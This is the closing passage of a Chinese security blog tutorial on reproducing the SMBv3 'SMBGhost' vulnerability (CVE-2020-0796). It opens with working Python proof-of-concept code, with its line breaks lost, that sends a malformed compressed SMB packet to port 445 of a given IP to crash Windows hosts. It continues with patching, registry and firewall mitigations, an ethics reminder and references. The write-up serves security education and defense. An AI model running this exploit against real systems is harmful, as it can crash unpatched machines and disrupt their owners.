"\x00"*2self.capabilities = "\x7f\x00\x00\x00"self.guid = "\x01\x02\xab\xcd"*4self.negotiate_context = "\x78\x00"self.additional_padding = "\x00"*2self.negotiate_context_count = "\x02\x00" # 2 Contextsself.reserved_2 = "\x00"*2self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1self.padding = "\x00"*4def context(self, type, length):data_length = lengthreserved = "\x00"*4return type + data_length + reserveddef preauth_context(self):hash_algorithm_count = "\x01\x00" # 1 hash algorithmsalt_length = "\x20\x00"hash_algorithm = "\x01\x00" # SHA512salt = "\x00"*32pad = "\x00"*2length = "\x26\x00"context_header = self.context("\x01\x00", length)return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + paddef compression_context(self):compression_algorithm_count = "\x03\x00" # 3 Compression algorithmspadding = "\x00"*2flags = "\x01\x00\x00\x00"algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffmanlength = "\x0e\x00"context_header = self.context("\x03\x00", length)return context_header + compression_algorithm_count + padding + flags + algorithmsdef get_packet(self):padding = "\x00"*8return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + paddingclass NetBIOSWrapper:def __init__(self, data):self.session = "\x00"self.length = struct.pack('>i', len(data)).decode('latin1')[1:]self.data = datadef get_packet(self):return self.session + self.length + self.dataclass Smb2CompressedTransformHeader:def __init__(self, data):self.data = dataself.protocol_id = "\xfcSMB"self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')self.compression_algorithm = "\x01\x00"self.flags = "\x00"*2self.offset = "\xff\xff\xff\xff" # Exploit the vulnerabilitydef get_packet(self):return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.datadef send_negotiation(sock):negotiate = Smb2NegotiateRequest()packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()sock.send(packet.encode('latin1'))sock.recv(3000)def send_compressed(sock, data):compressed = Smb2CompressedTransformHeader(data)packet = NetBIOSWrapper(compressed.get_packet()).get_packet()sock.send(packet.encode('latin1'))#sock.recv(1000)if __name__ == "__main__":if len(sys.argv) != 2:exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0]))sock = socket.socket(socket.AF_INET)sock.settimeout(3)sock.connect((sys.argv[1], 445))send_negotiation(sock)send_compressed(sock, "A" * 50)

五.防御措施

寫到這里,這篇CVE-2020-0796漏洞復現(xiàn)的文章就介紹結束了,希望對您有所幫助。這篇文章也存在一些不足,作者沒有更深入的理解其原理,也是作為網(wǎng)絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。

最后補充防御方法:

  • 運行Windows更新,完成Windows10 2020年3月累積更新補丁的安裝。
    操作步驟:設置->更新和安全->Windows更新,點擊“檢查更新”。
  • 直接下載對應補丁進行安裝(KB4551762)。
    https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
  • 訪問微軟該漏洞官方頁面,選擇相應的Windows版本安全更新,獨立安裝該漏洞安全補丁。
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

  • 根據(jù)BleepingComputer的說法,盡管Microsoft并未共享禁用SMBv3壓縮的官方方法,但是Foregenix Solutions架構師Niall Newman在分析了Srv2.sys文件后可以通過手動修改注冊表,防止被黑客遠程攻擊。
    (1) 在注冊表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。
    (2) 在管理員模式啟動PowerShell,將以下命令復制到Powershell命令行,執(zhí)行即可。

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force

  • 若無業(yè)務必要,在網(wǎng)絡安全域邊界防火墻封堵文件打印和共享端口TCP 135/139/445以緩解此問題。
  • 可以通過安全廠商的漏洞檢驗和修復工具來檢查是否存在漏洞和進行漏洞修復。

六.總結

希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。作為初學者,我們可能有差距,不論你之前是什么方向,是什么工作,是什么學歷,是大學大專中專,亦或是高中初中,只要你喜歡安全,喜歡滲透,就朝著這個目標去努力吧!有差距不可怕,我們需要的是去縮小差距,去戰(zhàn)斗,況且這個學習的歷程真的很美,安全真的有意思。但切勿去做壞事,我們需要的是白帽子,是維護我們的網(wǎng)絡,安全路上共勉。

最后,真誠地感謝您關注“娜璋之家”公眾號,也希望我的文章能陪伴你成長,希望在技術路上不斷前行。文章如果對你有幫助、有感悟,就是對我最好的回報,且看且珍惜!再次感謝您的關注,也請幫忙宣傳下“娜璋之家”,哈哈~初來乍到,還請多多指教。順便說一句,今天CSDN賬號的粉絲破十萬了,還挺開心的。

(By: Eastmount 2020-12-30 夜于武漢 https://blog.csdn.net/Eastmount)


參考文獻:

  • [1] https://github.com/danigargu/CVE-2020-0796
  • [2] https://github.com/ollypwn/SMBGhost
  • [3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
  • [4] https://github.com/joaozietolie/CVE-2020-0796-Checker
  • [5] 更新 : 公開渠道出現(xiàn)本地提權工具 | 微軟 Windows SMBv3服務遠程代碼執(zhí)行漏洞(CVE-2020-0796)通告 - 奇安信威脅情報中心 紅雨滴團隊
  • [6] 關于CVE-2020-0796 - 我要變超人
  • [7] CVE-2020-0796本地利用簡析
  • [8] CVE-2020-0796藍屏POC 漏洞復現(xiàn) - Jie_Blog
  • [9] https://download.csdn.net/download/ltt440888/12255558
  • [10] CVE-2020-0796 SMBv3漏洞復現(xiàn)(藍屏poc) - L0ading
  • [11] CVE-2020-0796:SMBv3的RCE漏洞,下一個EternalBlue?- NOSEC平臺
  • [12] 135、137、138、139和445端口 - 謝公子大佬
  • [13] Linux文件共享服務之Samba - 謝公子大佬
  • [14] 445端口不通經(jīng)驗總結 - frankarmstrong
  • [15] 計劃任務中使用NT AUTHORITY\SYSTEM用戶和普通管理員用戶有什么區(qū)別 - shangzhihaohao
  • [16] https://www.bilibili.com/video/av97457537/
  • [17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
  • [18] CVE-2020-0796 SMBv3漏洞藍屏復現(xiàn)+提權 - anlalu233
  • [19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC

總結

以上是生活随笔為你收集整理的[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。